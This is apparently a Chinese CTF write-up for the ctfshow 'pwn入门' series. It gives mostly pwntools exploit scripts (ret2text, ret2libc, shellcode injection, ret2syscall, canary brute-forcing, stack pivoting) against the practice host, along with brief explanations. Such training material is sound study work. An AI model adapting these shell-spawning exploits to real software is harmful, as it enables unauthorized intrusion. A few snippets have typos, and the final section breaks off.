pwn入门

一、Test_your_nc

pwn0

1
2
3
cd /
ls
cat ctfshow_flag

pwn1

1
nc即可

pwn2

1
2
nc
cat ctfshow_flag

pwn3

1
2
nc
6

pwn4

1
2
CTFshowPWN
cat ctfshow_flag

二、前置基础

pwn5

1
直接运行程序即可

pwn6

1
ctfshow{114514}

pwn7

1
ctfshow{0x36D}

pwn8

1
ctfshow{0x80490eE8}

pwn9

1
ctfshow{0x636C6557}

pwn10

1
ctfshow{0x5F656D6F}

pwn11

1
ctfshow{0x5F656D6F}

pwn12

1
ctfshow{0x5F656D6F}

pwn13

1
2
gcc flag.c -o flag
./flag

pwn14

1
2
3
echo CTFshow > key
gcc flag.c -o flag
./flag

pwn15

1
2
3
nasm -f elf64 flag.asm
ld -s -o flag flag.o
./flag

pwn16

1
2
gcc flag.s -o flag
./flag

pwn17

1
2
3
2
;/bin/sh
cat ctfshow_flag

pwn18

1
9

pwn19

1
exec cat /ctf* 1>&0

pwn20

1
readelf -S pwn或者直接IDA看也可以(flag中字母小写)

pwn21

1
Partial RELRO表示.got不可写而.got.plt可写

pwn22

1
Full RELRO没有.got.plt

pwn23

1
./pwnme + 大于58长度的字符串即可

pwn24(ret2shellcode)

img

这里看出栈长度为0x10,read读入大小为0x100因此可以进行栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn.challenge.ctf.show', 28140)

offset = 0x10 + 4

shellcode = asm(shellcraft.sh())

payload = b'a' * offset + shellcode

p.send(payload)

p.interactive()

pwn25(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher3 import *

p = remote('pwn.challenge.ctf.show', 28151)
elf = ELF('./pwn')

offset = 0x88 + 4

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

payload1 = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendline(payload1)

puts_addr = u32(p.recvuntil('\xf7')[-4:])

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

pwn26

1
2
3
4
5
cat /proc/sys/kernel/randomize_va_space # 查看ALSR参数
# 若不是0
su root
echo 0 > /proc/sys/kernel/randomize_va_space
./pwn

pwn27

1
同上

pwn28

1
同上

pwn29

1
同上

pwn30(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher3 import *

context.log_level = 'debug'

p = remote("pwn.challenge.ctf.show", "28299")
elf = ELF("./pwn")

offset = 0x88 + 0x4

main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = offset * b'a' + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil('\xf7'))

libc = LibcSearcher("puts",puts_addr)
libcbase = puts_addr - libc.dump("puts")

system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")

payload = offset * b'a' + p32(system_addr) + b'a' * 4 + p32(binsh_addr)

p.sendline(payload)

p.interactive()

pwn31

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher3 import *

context(arch='i386',os='linux',log_level='debug')
p = remote("pwn.challenge.ctf.show",28148)
elf = ELF("./pwn")

main_real_addr = int(p.recv().strip(),16)

main_addr = elf.symbols['main']
base_addr = main_real_addr - main_addr
puts_plt = base_addr + elf.symbols['puts']
puts_got = base_addr + elf.got['puts']
ctfshow_addr = base_addr + elf.symbols['ctfshow']
ebx = base_addr + 0x1fc0
payload0 = b'a' * 132 + p32(ebx) + b'a' * 4 + p32(puts_plt) + p32(main_real_addr) + p32(puts_got)
p.send(payload0)
puts_addr = u32(p.recv(4))

libc = LibcSearcher("puts",puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = b'a' * 140 + p32(system_addr) + p32(ctfshow_addr) + p32(binsh_addr)
p.send(payload)
p.interactive()

pwn32

这里看到在程序参数大于4是会进入一个undefined()函数

这里看到undefined()函数实际上是执行读取flag的操作,因此本题只需在运行程序时使用大于四个参数即可

1
2
./pwnme 1 2 3 4
2

pwn33

1
同上

pwn34

1
同上

三、栈溢出

pwn35

1
没搞懂为什么会输出flag,但是栈溢出肯定是有的,运行程序时给一个长度大于0x6C的参数即可

pwn36(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn.challenge.ctf.show', 28181)

offset = 0x28 + 4

get_flag = 0x8048586

payload = b'a' * offset + p32(get_flag)

p.send(payload)

p.interactive()

pwn37(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = remote('pwn.challenge.ctf.show', 28146)

offset = 0x12 + 4
backdoor = 0x8048521

payload = b'a' * offset + p32(backdoor)

p.sendline(payload)

p.interactive()

pwn38(ret2text)

64位注意栈对齐

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn.challenge.ctf.show', 28251)

offset = 0xA + 8

backdoor = 0x400658

payload = b'a' * offset + p64(backdoor)

p.send(payload)

p.interactive()

pwn39(ret2text)

system函数和/bin/sh不在一起时自己构造payload即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = remote('pwn.challenge.ctf.show', 28105)

sys_addr = 0x80483A0
bin_sh_addr = 0x8048750

offset = 0x12 + 4

payload = b'a' * offset + p32(sys_addr) + p32(0) + p32(bin_sh_addr)

p.send(payload)

p.interactive()

pwn40(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote("pwn.challenge.ctf.show", "28117")

rdi_ret_addr = 0x4007e3
bin_sh_addr = 0x400808
system_addr = 0x400520
ret_addr = 0x4004fe

payload = 'a' * (0xA+0x8) + p64(rdi_ret_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr)

p.sendline(payload)
p.interactive()

pwn41(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('pwn.challenge.ctf.show', 28185)

offset = 0x12 + 4

sh_addr = 0x80487BA

system_addr = 0x804856E

payload = b'a' * offset + p32(system_addr) + p32(sh_addr)

p.sendline(payload)

p.interactive()

pwn42(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p = remote('pwn.challenge.ctf.show', 28132)

offset = 0xA + 8

sys_addr = 0x4006B2
sh_addr = 0x400872

pop_rdi = 0x400843

payload = b'a' * offset + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)

p.sendline(payload)

p.interactive()

pwn43(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = remote('pwn.challenge.ctf.show', 28162)
elf = ELF('../code/pwn')

offset = 0x6c + 4

gets_addr = 0x8048420
bss_addr = 0x804B061

sys_addr = 0x8048450

payload = b'a' * offset + p32(gets_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)

p.sendline(payload)

p.send('/bin/sh\x00')

p.interactive()

pwn44(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = remote('pwn.challenge.ctf.show', 28259)

gets_addr = 0x400530
sys_addr = 0x400520
bss_addr = 0x602081

pop_rdi = 0x4007f3

offset = 0xA + 8

payload = b'a' * offset + p64(pop_rdi) + p64(bss_addr) + p64(gets_addr) + p64(pop_rdi) + p64(bss_addr) + p64(sys_addr)

p.sendline(payload)

p.send('/bin/sh\x00')

p.interactive()

pwn45(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher3 import *

context.log_level = 'debug'

p = remote('pwn.challenge.ctf.show', 28197)
elf = ELF('../code/pwn')
offset = 0x6B + 4

write_plt = elf.plt['write']
write_got = elf.got['write']

main_addr = elf.sym['main']

payload = b'a' * offset + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got) + p32(0x10)

p.sendlineafter('O.o?\n', payload)

write_addr = u32(p.recvuntil(b'\xf7'))

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

pwn46(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
from LibcSearcher3 import *

context.log_level = 'debug'

p = remote('pwn.challenge.ctf.show', 28218)
elf = ELF('../code/pwn')
offset = 0x70 + 8

pop_rdi = 0x400803
pop_rsi_r15 = 0x400801

write_plt = elf.plt['write']
write_got = elf.got['write']

main_addr = elf.sym['main']

payload = b'a' * offset + p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(write_got) + p64(0) + p64(write_plt)+ p64(main_addr)

p.sendlineafter('O.o?\n', payload)

write_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00')

libc = LibcSearcher('write', write_addr)

libcbase = write_addr - libc.dump('write')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)

p.sendline(payload2)

p.interactive()

pwn47(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher3 import *

offset = 0x9C + 4

p = remote('pwn.challenge.ctf.show', 28276)

p.recvuntil('puts: ')
puts_addr = eval(p.recvuntil("\n", drop = True))
success(puts_addr)
bin_sh_addr = 0x804b028
libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')

payload = b'a' * offset + p32(sys_addr) + p32(0) + p32(bin_sh_addr)

p.sendline(payload)

p.interactive()

pwn48(ret2libc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher3 import *

context.log_level = 'debug'

p = remote('pwn.challenge.ctf.show', 28130)
elf = ELF('../code/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']

offset = 0x6B + 4

payload = b'a' * offset + p32(puts_plt) + p32(main_addr) + p32(puts_got)

p.sendlineafter('O.o?\n', payload)

puts_addr = u32(p.recvuntil('\xf7')[:4])
success(puts_addr)

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p32(sys_addr) + p32(main_addr) + p32(bin_sh_addr)

p.sendline(payload2)

p.interactive()

pwn49(ret2shellcode + 静态编译)

mprotect函数修改内存权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

p = remote('pwn.challenge.ctf.show', 28278)

offset = 0x12 + 4

mprotect_addr = 0x806CDD0
read_addr = 0x806BEE0
got_addr = 0x80db320
//这里为什么不能用bss段地址:因为mprotect要求addr必须是内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
pop_eax_edx_ebx = 0x8056194

shellcode = asm(shellcraft.sh(), arch='i386', os='linux')

payload = b'a' * offset + p32(mprotect_addr) + p32(pop_eax_edx_ebx) + p32(got_addr) + p32(0x1000) + p32(0x7) + p32(read_addr) + p32(got_addr) + p32(0) + p32(got_addr) + p32(len(shellcode))

p.recvuntil(' * ************************************* ')

p.sendline(payload)

p.sendline(shellcode)

p.interactive()

pwn50(ret2libc)

这题使用LibcSearcher3获取的libc版本错误,使用LibcSearcher则没有这个问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from LibcSearcher import *

context(log_level = 'debug', arch = 'amd64', os = 'linux')

p = remote('pwn.challenge.ctf.show', 28236)
elf = ELF('../code/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['ctfshow']

pop_rdi = 0x4007e3
ret = 0x4004fe

offset = 0x20 + 8

payload = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.recvuntil('Hello CTFshow\n')
p.sendline(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:] + b'\x00\x00')

print('puts address --> ', hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')
sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * offset + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret) + p64(sys_addr)

p.recvuntil('Hello CTFshow\n')
p.sendline(payload2)

p.interactive()

pwn51(ret2text)

逆向调试确定一个“I”会替换成“IronMan”,随后栈溢出ret2text即可

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

p = remote('pwn.challenge.ctf.show', 28174)

backdoor = 0x804902E

payload = b'I' * (0x6C // 7) + b'a' * (0x6c - 0x6C // 7 * 7 + 4) + p32(backdoor)

p.sendline(payload)

p.interactive()

pwn52(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = remote('pwn.challenge.ctf.show', 28148)

flag_addr = 0x8048586

offset = 0x6c + 4

payload = b'a' * offset + p32(flag_addr) + p32(0) + p32(876) + p32(877)

p.sendline(payload)

p.interactive()

pwn53(ret2text+canary)

本题主要是模拟了canary的实现,由于canary是从文件中读出的,所以推测其可能是一个固定值,因此这里我们可以采用爆破的方法来解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

canary = b''
print(type(canary))

for i in range(4):
for c in range(0xFF):
p = remote('pwn.challenge.ctf.show', 28192)
p.sendlineafter('>', '-1')
offset = 0x20
payload = b'a' * offset + canary + p8(c)
p.sendafter('$ ', payload)
# p.recv(1)
response = p.recv()
print(response.decode())
if 'Canary Value Incorrect!' not in response.decode():
canary = canary + p8(c)
break
p.close()

print('canary is: ', canary)

p = remote('pwn.challenge.ctf.show', 28192)

flag_addr = 0x8048696

payload = b'a' * 0x20 + canary + p32(0) * 4 + p32(flag_addr)

p.sendlineafter('>', '-1')
p.sendafter('$ ', payload)

p.interactive()

pwn54

这里我们看到v5刚好在栈中在存储密码的字符串s上面,因此这里我们只需把v5的256字节填充满就可以将密码泄露出来,随后用改密码登录即可

pwn55(ret2text)

这题主要就是涉及32位函数传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

p = remote('pwn.challenge.ctf.show', 28103)

offset = 0x2C + 4

flag_addr = 0x8048606
flag2_addr = 0x804859D
flag1_addr = 0x8048586

payload = b'a' * offset + p32(flag1_addr) + p32(flag2_addr) + p32(flag_addr) + p32(0xACACACAC) + p32(0xBDBDBDBD)

p.sendline(payload)

p.interactive()

pwn56(ret2shellcode)

nc即可,主要是帮助理解32位shellcode的编写

pwn57(ret2shellcode)

nc即可,主要是帮助理解64位shellcode的编写

pwn58(ret2shellcode)

简单的ret2shellcode,查看汇编只需要将shellcode写到字符串s上即可

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('pwn.challenge.ctf.show', 28255)

shellcode = asm(shellcraft.sh())

p.sendlineafter('Attach it!\n', shellcode)

p.interactive()

pwn59(ret2shellcode)

同上

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch = 'amd64', os = 'linux')

p = remote('pwn.challenge.ctf.show', 28286)

shellcode = asm(shellcraft.sh())

p.sendlineafter('Attach it!\n', shellcode)

p.interactive()

pwn60(ret2shellcode)

这里IDA中的偏移有点问题,还是需要自己去GDB中调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(arch = 'i386', os = 'linux')

p = remote('pwn.challenge.ctf.show', 28272)

shellcode = asm(shellcraft.sh()).ljust(0x70, b'a')

buf2_addr = 0x804A080

payload = shellcode + p32(buf2_addr)

p.sendlineafter('CTFshow-pwn can u pwn me here!!\n', payload)

p.interactive()

pwn61(ret2shellcode)

这里需要注意一个问题,leave操作相当于mov rsp, rbp; pop rbp;而我们的shellcode中包含对rsp的操作,所以leave会影响我们shellcode的执行,因此我们的shellcode不能直接放在v5上,而应该放在其后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch = 'amd64', os = 'linux')

p = remote('pwn.challenge.ctf.show', 28164)

p.recvuntil('[')
v5_addr = p.recvuntil(']', drop=True)
v5_addr = int(v5_addr, 16)

shellcode = asm(shellcraft.sh())

payload = cyclic(0x10 + 8) + p64(v5_addr + 0x10 + 8 + 8) + shellcode

p.sendline(payload)

p.interactive()

pwn62(ret2shellcode)

基本步骤同上,但是本题给出的read函数能读取的长度有限,因此不能直接使用pwntools中的shellcode,需要自行构造shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch = 'amd64', os = 'linux', log_level='debug')

p = remote('pwn.challenge.ctf.show', 28111)

padding = 0x10+8
shell_code = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(hex(v5_addr))
payload = cyclic(padding) + p64(v5_addr + padding + 8) + shell_code


p.sendline(payload)
p.recv()
p.interactive()

pwn63(ret2shellcode)

同上,因为这里我的shellcode足够短,因此两问用同一个exp就好啦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch = 'amd64', os = 'linux', log_level='debug')

p = remote('pwn.challenge.ctf.show', 28234)

padding = 0x10+8
shell_code = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.recvuntil("What's this : [")
v5_addr = eval(p.recvuntil("]",drop=True))
print(hex(v5_addr))
payload = cyclic(padding) + p64(v5_addr + padding + 8) + shell_code


p.sendline(payload)
p.recv()
p.interactive()

pwn64(ret2shellcode)

buf = mmap(0, 0x400u, 7, 34, 0, 0);

这里用到mmap分配地址,7:可读可写可执行,因此我们还是可以直接将shellcode写入buf中

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch = 'i386', os = 'linux')

p = remote('pwn.challenge.ctf.show', 28304)

shellcode = asm(shellcraft.sh())

p.sendline(shellcode)

p.interactive()

pwn65(ret2shellcode)

这题就是在一般shellcode的基础上,过滤掉了一些不可见字符。因此这里我们需要使用工具alpha3,将我们的shellcode转化为可见字符串形式

1
2
3
4
5
6
7
8
9
10
11
12
13
git clone https://github.com/TaQini/alpha3.git
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = remote('pwn.challenge.ctf.show', 28289)

p.recvuntil("Shellcode")

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

p.send(shellcode)

p.interactive()

pwn66(ret2shellcode)

‘/x00’跳过检查然后+任意字符如’/xc0’组成一个汇编语句组到shellcode中

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = remote('pwn.challenge.ctf.show',28128)

shellcode = '\x00\xc0' + asm(shellcraft.sh())

p.sendline(shellcode)

p.interactive()

pwn67(ret2shellcode + nop sled)

nop sled:说白了就是我们知道我们写入的shellcode的一个大致范围,但是具体位置不清楚。因此我们可以通过向这片区域填充nop来达到使程序计数器加一的目的,从而让程序最终运行到我们需要的shellcode的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(arch = 'i386', os = 'linux', log_level = 'debug')

p = remote('pwn.challenge.ctf.show', 28234)

shellcode = asm(shellcraft.sh())

p.recvuntil('location: 0x')
addr = int(p.recvuntil('\n', drop=True), 16)

log.success(hex(addr))

payload = 1336 * b'\x90' + shellcode

p.recvuntil('> ')
p.sendline(payload)

p.recvuntil('> ')
addr = addr + 0x2d + 668
p.send(hex(addr))

p.interactive()

pwn68(ret2shellcode + nop sled)

同上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

p = remote('pwn.challenge.ctf.show', 28171)

shellcode = asm(shellcraft.sh())

p.recvuntil('location: 0x')
addr = int(p.recvuntil('\n', drop=True), 16)

log.success(hex(addr))

payload = b'\x90' * 1336 + shellcode

p.recvuntil('> ')
p.sendline(payload)

addr = addr + 0x15 + 0x8 + 0x8 + 668
p.recvuntil('> ')
p.send(hex(addr))
p.interactive()

pwn69(ret2shellcode + orw)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch="amd64",log_level="debug")

p = remote("pwn.challenge.ctf.show", 28118)

addr=0x123000

jmp_rsp=0x0000000000400A01

payload = asm(shellcraft.read(0,addr,0x100))+asm("mov rax,0x123000; jmp rax")

payload=payload.ljust(0x28,b'\x00')

payload += p64(jmp_rsp) + asm("sub rsp,0x30; jmp rsp")

p.recvuntil(b'to do')

p.sendline(payload)

payload1 = shellcraft.open('/ctfshow_flag',0)

payload1 += shellcraft.read(3, addr, 100)

payload1 += shellcraft.write(1, addr, 100)

payload1=asm(payload1)

p.sendline(payload1)

p.interactive()

pwn70(ret2shellcode + orw)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(log_level='debug',os='linux',arch='amd64')

p = remote('pwn.challenge.ctf.show',28175)

shellcode = '''
push 0
mov r15, 0x67616c66
push r15
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov r14, 3
mov rdi, r14
mov rsi, rsp
mov rdx, 0xff
mov rax, 0
syscall
mov rdi,1
mov rsi, rsp
mov rdx, 0xff
mov rax, 1
syscall
'''

payload = asm(shellcode)

p.sendline(payload)

p.interactive()

pwn71(ret2syscall)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = remote('pwn.challenge.ctf.show', 28166)

pop_eax = 0x80bb196
pop_edx_ecx_ebx = 0x806eb90
int_80 = 0x8049421

bin_sh_addr = 0x80BE408

offset = 112

payload = b'a' * offset + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh_addr) + p32(int_80)

p.recvuntil('Try to use ret2syscall!\n')
p.sendline(payload)

p.interactive()

pwn72(ret2syscall)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = remote('pwn.challenge.ctf.show', 28131)

pop_eax = 0x80bb2c6
pop_edx_ecx_ebx = 0x806ecb0
int_80 = 0x806F350

bss_addr = 0x80eb000

main_addr = 0x8048E24

offset = 44

payload = b'a' * offset + p32(pop_eax) + p32(0x3) + p32(pop_edx_ecx_ebx) + p32(0x10) + p32(bss_addr) + p32(0) + p32(int_80) + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr) + p32(int_80)

p.recvuntil('where is my system?\n')
p.sendline(payload)

p.sendline(b'/bin/sh\x00')

p.interactive()

pwn73(ret2syscall)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

p = remote('pwn.challenge.ctf.show', 28181)

offset = 28

pop_eax = 0x80b81c6
pop_edx_ecx_ebx = 0x806f050

int_80 = 0x806F630

bss_addr = 0x80EAF80

payload = b'a' * offset + p32(pop_eax) + p32(0x3) + p32(pop_edx_ecx_ebx) + p32(0x10) + p32(bss_addr) + p32(0) + p32(int_80)
payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr) + p32(int_80)

p.sendline(payload)
p.sendline(b'/bin/sh\x00')

p.interactive()

pwn74(one_gadget)

one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。

相比于system("/bin/sh"),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

# context(arch = 'amd64',os = 'linux',log_level = 'debug')

p = remote('pwn.challenge.ctf.show', 28122)
libc = ELF('libc.so.6')
one_gadget = 0x10a2fc

p.recvuntil('this:')
print_addr = int(p.recv(14), 16)

libcbase = print_addr - libc.sym['printf']

payload = one_gadget + libcbase

p.sendline(str(payload))

p.interactive()

pwn75(栈迁移)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = remote('pwn.challenge.ctf.show', 28144)
elf = ELF('../code/pwn')
leave_ret = 0x8048766
sys_addr = 0x8048400

offset = 0x28

p.recvuntil('codename:')
payload1 = b'a' * (offset - 0x4) + b'show'
p.sendline(payload1)

p.recvuntil('show')
ebp = u32(p.recv(4).ljust(4, b'\x00'))

buf = ebp - 0x38

payload2 = (p32(sys_addr) + p32(0) + p32(buf + 12) + b'/bin/sh\x00').ljust(0x28, b'a') + p32(buf - 4) + p32(leave_ret)
p.sendline(payload2)

p.interactive()

pwn76(ret2text)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import base64

p = remote('pwn.challenge.ctf.show', 28152)

input_addr = 0x811EB40
sys_addr = 0x8049284

payload = b'aaaa' + p32(sys_addr) + p32(input_addr)

# print(type(payload))
payload = base64.b64encode(pay load)

p.sendlineafter(': ', payload)

p.interactive()

pwn77(ret2libc)

这里主要是实现了一个类似于gets功能的函数,解题的关键点在于我们在往v2中输入数据时最终会覆盖到v4,而这里的v4是数组v2的下标,如果我们使用任意的数据进行覆盖的话会导致程序出现意想不到的问题。因此采用正确的v4的值对对应的位置进行覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import * #这里用LibcSearcher3无法找到正确的Libc文件

p = remote('pwn.challenge.ctf.show', 28231)
elf = ELF('../code/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']

pop_rdi = 0x4008e3
ret = 0x400576
offset = 0x110

payload1 = b'a' * (offset - 4) + p32(0x10d) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
p.recvuntil('T^T\n')
p.sendline(payload1)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * (offset - 4) + p32(0x10d) + b'a' * 8 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
# p.recvuntil('T^T\n')
p.sendline(payload2)

p.interactive()

对于官方的题解之所以是填充的’\x18’,开始在网上看的是说’\x18’是控制符号,表示取消,但是其实不是的。’\x18’其实是表示程序要把v4序号的位置移到栈上ret的位置。之所以是’\x18’实际上是我们要把v4的值改为0x118(这里实际就是ret地址的位置),因为我们v4高一位其实在v4++过程中已经是1了,因此我们这里填充’\x18’随后跟pop_rdi就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

p = remote('pwn.challenge.ctf.show', 28219)
elf = ELF('../code/pwn')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']

pop_rdi = 0x4008e3
ret = 0x400576
offset = 0x110

payload1 = b'a' * (offset - 4) + b'\x18' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ctfshow)
p.recvuntil('T^T\n')
p.sendline(payload1)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_addr)

libcbase = puts_addr - libc.dump('puts')

sys_addr = libcbase + libc.dump('system')
bin_sh_addr = libcbase + libc.dump('str_bin_sh')

payload2 = b'a' * (offset - 4) + b'\x18' + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(sys_addr)
# p.recvuntil('T^T\n')
p.sendline(payload2)

p.interactive()

pwn79(ret2libc)

这里简单注意一下strcpy函数,因为我在这里开始的时候第二个payload这里返回地址写了p64(0)导致一直无法getshell😢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
